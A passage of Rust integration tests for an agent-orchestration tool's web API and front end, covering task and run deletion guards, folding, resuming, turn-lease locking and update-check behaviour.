15935 let find = |id: &str| {
15936 list.as_array()
15937 .unwrap()
15938 .iter()
15939 .find(|v| v["id"] == id)
15940 .unwrap()
15941 .clone()
15942 };
15943 let leaf_view = find(&leaf.id);
15944 assert_eq!(
15945 leaf_view["waits_on"],
15946 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15947 );
15948 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15949 assert_eq!(
15950 find(&mid.id)["waits_on"],
15951 serde_json::json!([format!("{} (held)", root.short())])
15952 );
15953 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15954 }
15955
15956 #[tokio::test]
15957 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15958 let fx = Fixture::start().await;
15959 let q = fx.queue();
15960
15961 let mut t1 = Task::new(
15963 "Task 1".to_owned(),
15964 "Instruction 1".to_owned(),
15965 PathBuf::from("/repo"),
15966 Source::Human,
15967 );
15968 let run_id = "20260901-000000-r111";
15969 t1.runs.push(run_id.to_owned());
15970 write_run(&fx.runs(), run_id, RunStatus::Merged);
15971 q.put(&mut t1).expect("put t1");
15972
15973 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15975 assert_eq!(res.status, 204);
15976 assert!(res.body.is_empty(), "204 No Content has no body");
15977 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15978 assert!(
15979 fx.runs().join(run_id).exists(),
15980 "run directory must not be deleted when its task is deleted"
15981 );
15982
15983 let mut t2 = Task::new(
15985 "Task 2".to_owned(),
15986 "Instruction 2".to_owned(),
15987 PathBuf::from("/repo"),
15988 Source::Human,
15989 );
15990 t2.status = TaskStatus::Running;
15991 q.put(&mut t2).expect("put t2");
15992 let mut beat = crate::daemon::Status::new();
15993 beat.current = vec![crate::daemon::Current {
15994 task: t2.id.clone(),
15995 run: "20260901-000000-r222".to_owned(),
15996 }];
15997 beat.updated_at = jiff::Timestamp::now();
15998 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15999 .expect("publish a heartbeat");
16000 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16001 assert_eq!(res.status, 409);
16002 assert!(
16003 res.json()["error"]
16004 .as_str()
16005 .unwrap()
16006 .contains("live daemon")
16007 );
16008 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16009
16010 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16016 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16017 .expect("leave a stale heartbeat");
16018 let mut t3 = Task::new(
16019 "Task 3".to_owned(),
16020 "Instruction 3".to_owned(),
16021 PathBuf::from("/repo"),
16022 Source::Human,
16023 );
16024 t3.status = TaskStatus::Running;
16025 q.put(&mut t3).expect("put t3");
16026 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16027 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16028 assert_eq!(res.status, 204);
16029 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16030 assert!(
16031 q.claim(&t3.id).is_ok(),
16032 "the stale lock went with it, so the id is claimable again"
16033 );
16034
16035 let res = fx.delete("/api/queue/nonexistent").await;
16037 assert_eq!(res.status, 404);
16038 }
16039
16040 #[tokio::test]
16041 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16042 let fx = Fixture::start().await;
16043 let runs = fx.runs();
16044
16045 let run_id = "20260901-000000-fold";
16047 let mut state = RunState::new(
16048 PathBuf::from("/repo"),
16049 "main".to_owned(),
16050 "abc".to_owned(),
16051 "instruction".to_owned(),
16052 Config::default(),
16053 );
16054 state.id = run_id.to_owned();
16055 state.status = RunStatus::Merged;
16056 state.candidates.push(crate::run::Candidate {
16057 index: 0,
16058 label: 'A',
16059 agent: "a".to_owned(),
16060 branch: "b".to_owned(),
16061 worktree: PathBuf::from("/w"),
16062 summary: String::new(),
16063 stat: String::new(),
16064 files: 1,
16065 commits: 1,
16066 empty: false,
16067 failed: None,
16068 verified_noop: None,
16069 duration_ms: 0,
16070 folded: true,
16071 });
16072 let dir = runs.join(run_id);
16073 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16074 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16075 .expect("write artifact");
16076 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16077 .expect("write run.json");
16078
16079 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16081 assert_eq!(res.status, 204);
16082 assert!(res.body.is_empty(), "204 has no body");
16083 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16084
16085 let run_running = "20260901-000000-rung";
16090 write_run(&runs, run_running, RunStatus::Prep);
16091 let mut beat = crate::daemon::Status::new();
16092 beat.current = vec![crate::daemon::Current {
16093 task: "20260901-000000-task".to_owned(),
16094 run: run_running.to_owned(),
16095 }];
16096 beat.updated_at = jiff::Timestamp::now();
16097 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16098 .expect("publish a heartbeat");
16099 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16100 assert_eq!(res.status, 409);
16101 assert!(
16102 res.json()["error"]
16103 .as_str()
16104 .unwrap()
16105 .contains("live daemon"),
16106 "the refusal must say who is holding it"
16107 );
16108 assert!(
16109 runs.join(run_running).exists(),
16110 "a run in flight keeps its directory"
16111 );
16112
16113 let run_unfolded = "20260901-000000-unfd";
16115 let mut state2 = RunState::new(
16116 PathBuf::from("/repo"),
16117 "main".to_owned(),
16118 "abc".to_owned(),
16119 "instruction".to_owned(),
16120 Config::default(),
16121 );
16122 state2.id = run_unfolded.to_owned();
16123 state2.status = RunStatus::Ready;
16124 state2.candidates.push(crate::run::Candidate {
16125 index: 0,
16126 label: 'A',
16127 agent: "a".to_owned(),
16128 branch: "b".to_owned(),
16129 worktree: PathBuf::from("/w"),
16130 summary: String::new(),
16131 stat: String::new(),
16132 files: 1,
16133 commits: 1,
16134 empty: false,
16135 failed: None,
16136 verified_noop: None,
16137 duration_ms: 0,
16138 folded: false,
16139 });
16140 let dir2 = runs.join(run_unfolded);
16141 std::fs::create_dir_all(&dir2).expect("create dir2");
16142 std::fs::write(
16143 dir2.join("run.json"),
16144 serde_json::to_string(&state2).unwrap(),
16145 )
16146 .expect("write run.json");
16147
16148 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16149 assert_eq!(res.status, 409);
16150 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16151 assert!(dir2.exists(), "unfolded run directory is kept");
16152
16153 let res = fx.delete("/api/runs/nonexistent").await;
16155 assert_eq!(res.status, 404);
16156 }
16157
16158 #[test]
16167 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16168 let start = APP_JS
16169 .find("function renderStats() {")
16170 .expect("renderStats");
16171 let end = start
16172 + APP_JS[start..]
16173 .find("function statsTile(")
16174 .expect("the next top-level function");
16175 let body = &APP_JS[start..end];
16176
16177 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16178 let gate_end = gate_start
16179 + body[gate_start..]
16180 .find("}\n renderStatsQueue")
16181 .expect("the gate's own closing brace, right before the unconditional call");
16182 let gated = &body[gate_start..gate_end];
16183
16184 assert_eq!(
16185 body.matches("renderStatsQueue(").count(),
16186 1,
16187 "renderStats must call renderStatsQueue exactly once: {body}"
16188 );
16189 assert!(
16190 !gated.contains("renderStatsQueue"),
16191 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16192 run-derived panels on an empty run history - the queue panel has to render \
16193 regardless: {gated}"
16194 );
16195 }
16196
16197 #[test]
16198 fn web_ui_delete_contract_in_front_end() {
16199 assert!(APP_JS.contains("deleteRun:"));
16201 assert!(APP_JS.contains("deleteTask:"));
16202
16203 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16205 ..APP_JS.find("function renderRuns").unwrap()];
16206 assert!(!run_cards_slice.to_lowercase().contains("delete"));
16207
16208 assert!(APP_JS.contains("renderRunDelete"));
16210 assert!(APP_JS.contains("runDeleteReason"));
16211 assert!(APP_JS.contains("magi fold"));
16212 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16213
16214 assert!(APP_JS.contains("cancel.focus"));
16216 assert!(APP_JS.contains("armedRunDelete"));
16217 assert!(APP_JS.contains("renderTaskDeleteBox"));
16218 assert!(APP_JS.contains("armed${cap(key)}"));
16219
16220 assert!(APP_JS.contains("disabled: status === \"running\""));
16222 }
16223
16224 #[test]
16244 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16245 let build = APP_JS
16246 .find("function createRunCard")
16247 .expect("createRunCard exists");
16248 let update = APP_JS
16249 .find("function updateRunCard")
16250 .expect("updateRunCard exists");
16251 let end = APP_JS
16252 .find("function renderRuns")
16253 .expect("renderRuns exists");
16254
16255 let builder = &APP_JS[build..update];
16257 let open = builder.find("refs = {").expect("createRunCard sets refs");
16258 let literal = &builder[open + "refs = {".len()..];
16259 let close = literal.find('}').expect("the refs literal is closed");
16260 let published: HashSet<&str> = literal[..close]
16261 .split(',')
16262 .filter_map(|entry| entry.split(':').next())
16264 .map(str::trim)
16265 .filter(|name| !name.is_empty())
16266 .collect();
16267 assert!(
16268 published.len() > 5,
16269 "the refs literal did not parse into names: {published:?}"
16270 );
16271
16272 let mut used: Vec<&str> = Vec::new();
16275 let updaters = &APP_JS[update..end];
16276 for (at, _) in updaters.match_indices("r.") {
16277 let before = updaters[..at].chars().next_back();
16280 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16281 continue;
16282 }
16283 let rest = &updaters[at + 2..];
16284 let len = rest
16285 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16286 .unwrap_or(rest.len());
16287 if len > 0 {
16288 used.push(&rest[..len]);
16289 }
16290 }
16291 assert!(
16292 used.len() > 5,
16293 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16294 );
16295
16296 let missing: Vec<&str> = used
16297 .iter()
16298 .copied()
16299 .filter(|name| !published.contains(name))
16300 .collect();
16301 assert!(
16302 missing.is_empty(),
16303 "a run card's updater reaches for {missing:?}, which `createRunCard` \
16304 never put in `refs` - every card will throw and the list will \
16305 render empty under a count line that says otherwise. Published: \
16306 {published:?}"
16307 );
16308 }
16309
16310 #[tokio::test]
16311 async fn folding_from_the_phone_reports_what_it_removed() {
16312 let fx = Fixture::start().await;
16313 let runs = fx.runs();
16314
16315 let id = "20260901-000000-fold";
16319 write_run(&runs, id, RunStatus::Stalled);
16320 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16321 assert_eq!(res.status, 200);
16322 assert_eq!(res.json()["removed_count"], 0);
16323 assert_eq!(res.json()["run"], id);
16324 assert!(
16325 runs.join(id).exists(),
16326 "a fold keeps the run's record; only the worktrees go"
16327 );
16328 }
16329
16330 #[tokio::test]
16331 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16332 let fx = Fixture::start().await;
16333 let runs = fx.runs();
16334 let wt = fx.home.path().join("wt").join("magi").join("dead");
16335 let id = "20260901-000000-dead";
16336 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16337 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16338 std::fs::create_dir_all(&wt).expect("worktree dir");
16339
16340 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16341 assert_eq!(res.status, 200, "{}", res.body);
16342 assert!(
16343 res.json()["removed_count"].as_u64().unwrap() > 0,
16344 "the worktree this build could not read a state for still went"
16345 );
16346 assert!(
16347 !runs.join(id).exists(),
16348 "an unreadable run has no candidate list to fold selectively, so \
16349 the whole record goes - same as `magi fold` on the CLI"
16350 );
16351 }
16352
16353 #[tokio::test]
16354 async fn deleting_an_unreadable_run_removes_it_wholesale() {
16355 let fx = Fixture::start().await;
16356 let runs = fx.runs();
16357 let wt = fx.home.path().join("wt").join("magi").join("gone");
16358 let id = "20260901-000000-gone";
16359 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16360 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16361 std::fs::create_dir_all(&wt).expect("worktree dir");
16362
16363 let res = fx.delete(&format!("/api/runs/{id}")).await;
16364 assert_eq!(res.status, 204, "{}", res.body);
16365 assert!(!runs.join(id).exists(), "the broken record is gone");
16366 assert!(!wt.exists(), "its worktree is gone too");
16367 }
16368
16369 #[tokio::test]
16370 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16371 let fx = Fixture::start().await;
16372 let runs = fx.runs();
16373 let id = "20260901-000000-live";
16374 write_run(&runs, id, RunStatus::Implementing);
16375
16376 let mut beat = crate::daemon::Status::new();
16377 beat.current = vec![crate::daemon::Current {
16378 task: "20260901-000000-task".to_owned(),
16379 run: id.to_owned(),
16380 }];
16381 beat.updated_at = jiff::Timestamp::now();
16382 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16383 .expect("publish a heartbeat");
16384
16385 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16386 assert_eq!(res.status, 409);
16387 assert!(
16388 res.json()["error"]
16389 .as_str()
16390 .unwrap()
16391 .contains("live daemon"),
16392 "folding under a running agent would pull its worktree away"
16393 );
16394 }
16395
16396 #[tokio::test]
16397 async fn fold_merged_requires_a_pr_url() {
16398 let fx = Fixture::start().await;
16399 let runs = fx.runs();
16400 let id = "20260901-000000-nourl";
16401 write_run(&runs, id, RunStatus::Blocked);
16402
16403 let res = fx
16404 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16405 .await;
16406 assert_eq!(res.status, 400, "{}", res.body);
16407
16408 let blank = fx
16409 .post(
16410 &format!("/api/runs/{id}/fold-merged"),
16411 Some(r#"{"pr_url":" "}"#),
16412 )
16413 .await;
16414 assert_eq!(blank.status, 400, "{}", blank.body);
16415 }
16416
16417 #[tokio::test]
16418 async fn fold_merged_is_404_for_an_unknown_run() {
16419 let fx = Fixture::start().await;
16420 let res = fx
16421 .post(
16422 "/api/runs/nosuchrun/fold-merged",
16423 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16424 )
16425 .await;
16426 assert_eq!(res.status, 404, "{}", res.body);
16427 }
16428
16429 #[tokio::test]
16430 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16431 let fx = Fixture::start().await;
16432 let runs = fx.runs();
16433 let id = "20260901-000000-livemerge";
16434 write_run(&runs, id, RunStatus::Blocked);
16435
16436 let mut beat = crate::daemon::Status::new();
16437 beat.current = vec![crate::daemon::Current {
16438 task: "20260901-000000-task".to_owned(),
16439 run: id.to_owned(),
16440 }];
16441 beat.updated_at = jiff::Timestamp::now();
16442 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16443 .expect("publish a heartbeat");
16444
16445 let res = fx
16446 .post(
16447 &format!("/api/runs/{id}/fold-merged"),
16448 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16449 )
16450 .await;
16451 assert_eq!(res.status, 409, "{}", res.body);
16452 assert!(
16453 res.json()["error"]
16454 .as_str()
16455 .unwrap()
16456 .contains("live daemon"),
16457 "correcting a run's merge underneath a running agent would race \
16458 whatever it is doing to the same `status`/`merge` fields"
16459 );
16460 }
16461
16462 #[tokio::test]
16467 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16468 let fx = Fixture::start().await;
16469 let runs = fx.runs();
16470 let id = "20260901-000000-unconfirmed";
16471 write_run(&runs, id, RunStatus::Blocked);
16472
16473 let res = fx
16474 .post(
16475 &format!("/api/runs/{id}/fold-merged"),
16476 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16477 )
16478 .await;
16479 assert_eq!(res.status, 400, "{}", res.body);
16480 assert_eq!(
16481 read_run(&runs, id).unwrap().status,
16482 RunStatus::Blocked,
16483 "a pull request that could not be confirmed merged must leave \
16484 the run exactly where it was"
16485 );
16486 }
16487
16488 #[tokio::test]
16489 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16490 let fx = Fixture::start().await;
16491 let runs = fx.runs();
16492
16493 for (status, word) in [
16499 (RunStatus::Merged, "merged"),
16500 (RunStatus::Ready, "ready"),
16501 (RunStatus::Failed, "failed"),
16502 ] {
16503 let id = format!("20260901-000000-{}", &word[..4]);
16504 write_run(&runs, &id, status);
16505 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16506 assert_eq!(res.status, 409, "{word} must not be resumable");
16507 let err = res.json()["error"].as_str().unwrap().to_owned();
16508 assert!(err.contains(word), "the refusal names the status: {err}");
16509 }
16510
16511 let mid = "20260901-000000-midf";
16516 write_run(&runs, mid, RunStatus::Reviewing);
16517 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16518 assert_eq!(res.status, 202, "an interrupted run is resumable");
16519 }
16520
16521 #[tokio::test]
16522 async fn resume_is_refused_while_the_loop_is_running() {
16523 let fx = Fixture::start().await;
16524 let runs = fx.runs();
16525 let stalled = "20260901-000000-stal";
16526 write_run(&runs, stalled, RunStatus::Stalled);
16527
16528 let mut beat = crate::daemon::Status::new();
16532 beat.current = vec![crate::daemon::Current {
16533 task: "20260901-000000-task".to_owned(),
16534 run: "20260901-000000-othr".to_owned(),
16535 }];
16536 beat.updated_at = jiff::Timestamp::now();
16537 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16538 .expect("publish a heartbeat");
16539
16540 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16541 assert_eq!(res.status, 409);
16542 let err = res.json()["error"].as_str().unwrap().to_owned();
16543 assert!(err.contains("othr"), "it names what the loop is on: {err}");
16544 assert!(err.contains("stop it first"), "{err}");
16545 }
16546
16547 #[test]
16548 fn a_run_cannot_be_resumed_twice_at_once() {
16549 let home = TempDir::new().expect("temp home");
16550 let ui = Ui::new(
16551 Queue::at(home.path().join("queue")),
16552 Questions::at(home.path().join("questions")),
16553 Talks::at(home.path().join("talks")),
16554 home.path().join("runs"),
16555 home.path().to_path_buf(),
16556 PathBuf::from("/repo"),
16557 )
16558 .with_worktrees_root(home.path().join("wt"));
16559 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16560 let again = ui.begin_resume("20260901-000000-once");
16561 assert!(again.is_err(), "a second tap must not start a second graph");
16562 drop(first);
16563 assert!(
16564 ui.begin_resume("20260901-000000-once").is_ok(),
16565 "and the claim is released when the attempt ends"
16566 );
16567 }
16568
16569 #[test]
16570 fn talk_thinking_tracks_only_its_held_turn_claim() {
16571 let home = TempDir::new().expect("temp home");
16572 let ui = Ui::new(
16573 Queue::at(home.path().join("queue")),
16574 Questions::at(home.path().join("questions")),
16575 Talks::at(home.path().join("talks")),
16576 home.path().join("runs"),
16577 home.path().to_path_buf(),
16578 PathBuf::from("/repo"),
16579 )
16580 .with_worktrees_root(home.path().join("wt"));
16581 let id = "20260901-000000-once";
16582
16583 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16584 let turn = ui.begin_talk_turn(id).expect("claim turn");
16585 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16586 assert!(
16587 !ui.is_thinking("20260901-000000-other"),
16588 "one talk's turn does not make another talk busy"
16589 );
16590 drop(turn);
16591 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16592 }
16593
16594 #[test]
16595 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16596 let home = TempDir::new().expect("temp home");
16597 let talks = Talks::at(home.path().join("talks"));
16598 let ui = Ui::new(
16599 Queue::at(home.path().join("queue")),
16600 Questions::at(home.path().join("questions")),
16601 talks.clone(),
16602 home.path().join("runs"),
16603 home.path().to_path_buf(),
16604 PathBuf::from("/repo"),
16605 )
16606 .with_worktrees_root(home.path().join("wt"));
16607 let id = "20260901-000000-cross";
16608
16609 let other = Talks::at(home.path().join("talks"))
16610 .claim_turn(id)
16611 .expect("claim")
16612 .expect("the other process wins");
16613 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16614 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16615 assert!(
16616 matches!(
16617 ui.begin_talk_turn_unless_pending(id).expect("start"),
16618 TalkTurnStart::Foreign
16619 ),
16620 "a foreign holder is refused, not queued behind"
16621 );
16622 assert!(
16623 !ui.talk_turns.lock().unwrap().live.contains(id),
16624 "a refused claim leaves no in-process entry behind"
16625 );
16626 drop(other);
16627 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16628 assert!(talks.turn_held(id), "the web turn holds the lease");
16629 drop(turn);
16630 assert!(
16631 !talks.turn_held(id),
16632 "dropping the guard releases the lease"
16633 );
16634 }
16635
16636 fn consult_question(ui: &Ui) -> Question {
16637 let mut q = Question::new(
16638 "20260901-000000-consult".to_owned(),
16639 "implement".to_owned(),
16640 "impl-A".to_owned(),
16641 "Which backend?".to_owned(),
16642 String::new(),
16643 vec!["SQLite".to_owned(), "Redis".to_owned()],
16644 );
16645 ui.questions.put(&mut q).expect("question");
16646 q
16647 }
16648
16649 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16650 (
16651 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16652 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16653 )
16654 }
16655
16656 #[tokio::test]
16657 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16658 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16659 let q = consult_question(&ui);
16660 let talk = ui.talks.get(&id).expect("talk");
16661 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16662 let before = consult_snapshot(&ui, &q, &id);
16663 let cli_talks = Talks::at(ui.home.join("talks"));
16664 assert_eq!(
16665 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16666 .await
16667 .expect("CLI starter"),
16668 crate::consult::Started::Busy
16669 );
16670 assert_eq!(consult_snapshot(&ui, &q, &id), before);
16671 assert!(ui.is_thinking(&id));
16672 drop(guard);
16673 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16674 }
16675
16676 #[tokio::test]
16677 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16678 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16679 let q = consult_question(&ui);
16680 let talk = ui.talks.get(&id).expect("talk");
16681 let started = tmp.path().join("started");
16682 let release = tmp.path().join("release");
16683 let script = tmp.path().join("consult-agent.sh");
16684 std::fs::write(
16685 &script,
16686 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
16687 )
16688 .expect("script");
16689 let mut cfg = stub_config();
16690 cfg.agents[0].id = "mock".to_owned();
16691 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16692 cfg.agents[0].env = std::collections::BTreeMap::from([
16693 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16694 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16695 ]);
16696 let questions = ui.questions.clone();
16697 let cli_talks = Talks::at(ui.home.join("talks"));
16698 let cli_q = q.clone();
16699 let turn = tokio::spawn(async move {
16700 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16701 });
16702 let ready = tokio::time::timeout(Duration::from_secs(30), async {
16703 while !started.exists() {
16704 tokio::time::sleep(Duration::from_millis(10)).await;
16705 }
16706 })
16707 .await;
16708 let refusal = if ready.is_ok() {
16711 let before = consult_snapshot(&ui, &q, &id);
16712 let result = talk_say(
16713 State(Arc::clone(&ui)),
16714 Path(id.clone()),
16715 Ok(Json(NewTalkTurn {
16716 reply_to: None,
16717 text: "another message".to_owned(),
16718 attachments: Vec::new(),
16719 })),
16720 )
16721 .await;
16722 Some((result, before, consult_snapshot(&ui, &q, &id)))
16723 } else {
16724 None
16725 };
16726 std::fs::write(&release, "").expect("release agent");
16727 let done = turn.await.expect("join CLI turn");
16728 ready.expect("agent started before deadline");
16729 let (result, before, after) = refusal.expect("web request");
16730 let error = result.expect_err("web must refuse the CLI's turn");
16731 assert_eq!(error.status, StatusCode::CONFLICT);
16732 assert!(error.message.contains("a turn is already running"));
16733 assert_eq!(
16734 after, before,
16735 "refusal preserves question, draft and history"
16736 );
16737 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16738 let guard = ui
16739 .begin_talk_turn(&id)
16740 .expect("web claim")
16741 .expect("free again");
16742 drop(guard);
16743 }
16744
16745 #[test]
16746 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16747 let home = TempDir::new().expect("temp home");
16748 let talks = Talks::at(home.path().join("talks"));
16749 let ui = Ui::new(
16750 Queue::at(home.path().join("queue")),
16751 Questions::at(home.path().join("questions")),
16752 talks.clone(),
16753 home.path().join("runs"),
16754 home.path().to_path_buf(),
16755 PathBuf::from("/repo"),
16756 )
16757 .with_worktrees_root(home.path().join("wt"));
16758 let id = "20260901-000000-order";
16759 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16760 let slots = ui.talk_turns.lock().unwrap();
16762 let dropper = std::thread::spawn(move || drop(turn));
16763 let start = std::time::Instant::now();
16764 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16765 std::thread::sleep(Duration::from_millis(5));
16766 }
16767 assert!(!talks.turn_held(id), "the lease is released first");
16768 assert!(slots.live.contains(id), "the slot is still held meanwhile");
16769 drop(slots);
16770 dropper.join().expect("join");
16771 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16772 }
16773
16774 #[tokio::test]
16775 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16776 let fx = Fixture::start().await;
16777 let mut beat = crate::daemon::Status::new();
16781 beat.pid = 4321;
16782 beat.updated_at = jiff::Timestamp::now();
16783 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16784 .expect("publish a heartbeat");
16785
16786 let res = fx.post("/api/upgrade", None).await;
16787 assert_eq!(res.status, 409);
16788 let err = res.json()["error"].as_str().unwrap().to_owned();
16789 assert!(err.contains("4321"), "the refusal names the owner: {err}");
16790 assert!(err.contains("old one against the same queue"), "{err}");
16791 }
16792
16793 #[test]
16800 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16801 assert!(!should_spawn_recheck(&crate::config::Update {
16802 mode: UpdateMode::Off,
16803 interval: None,
16804 }));
16805
16806 unsafe {
16809 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16810 }
16811 let killed = should_spawn_recheck(&crate::config::Update {
16812 mode: UpdateMode::Notify,
16813 interval: None,
16814 });
16815 unsafe {
16816 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16817 }
16818 assert!(
16819 !killed,
16820 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16821 one-time startup check"
16822 );
16823
16824 assert!(should_spawn_recheck(&crate::config::Update {
16825 mode: UpdateMode::Notify,
16826 interval: None,
16827 }));
16828 }
16829
16830 #[test]
16836 fn recheck_poll_period_tracks_a_short_configured_interval() {
16837 let short = crate::config::Update {
16838 mode: UpdateMode::Notify,
16839 interval: Some("1m".to_owned()),
16840 };
16841 let period = recheck_poll_period(&short);
16842 assert!(
16843 period <= Duration::from_secs(30),
16844 "a one-minute interval must wake the task far sooner than the \
16845 default ceiling, or the deck would not notice within the \
16846 interval the operator configured: got {period:?}"
16847 );
16848
16849 let default = crate::config::Update {
16850 mode: UpdateMode::Notify,
16851 interval: None,
16852 };
16853 assert_eq!(
16854 recheck_poll_period(&default),
16855 UPDATE_RECHECK_POLL_MAX,
16856 "the default day-long interval should poll at the (capped) \
16857 ceiling rather than needlessly often"
16858 );
16859 }
16860
16861 #[test]
16869 fn recheck_skips_the_network_before_the_interval_elapses() {
16870 let dir = TempDir::new().expect("temp dir");
16871 let path = dir.path().join("state.json");
16872 let state = kaishin::UpdateCheckState {
16873 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16874 last_known_latest: None,
16875 last_known_url: None,
16876 };
16877 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16878
16879 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16880 assert!(
16881 !update_recheck_due(&checker, None),
16882 "a check made moments ago must not be repeated before the \
16883 configured interval elapses"
16884 );
16885 }
16886
16887 #[test]
16893 fn recheck_defers_to_an_upgrade_already_in_flight() {
16894 let dir = TempDir::new().expect("temp dir");
16895 let path = dir.path().join("state.json");
16896 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16897 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16898
16899 assert!(
16900 !update_recheck_due(&checker, Some(&progress)),
16901 "a recheck must not run while an upgrade this deck started is \
16902 still moving"
16903 );
16904 }
16905
16906 #[tokio::test]
16907 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16908 unsafe {
16920 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16921 }
16922 let fx = Fixture::start().await;
16923 let res = fx.post("/api/upgrade", None).await;
16924 unsafe {
16925 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16926 }
16927 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16928 let body = res.json();
16929 assert!(body["to"].is_null(), "there was no release to move to");
16930 assert!(body["parked"].is_null(), "and nothing was parked");
16931 assert!(
16932 body["detail"]
16933 .as_str()
16934 .unwrap()
16935 .contains("disabled by MAGI_NO_AUTOUPDATE"),
16936 "{body:?}"
16937 );
16938 }
16939
16940 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
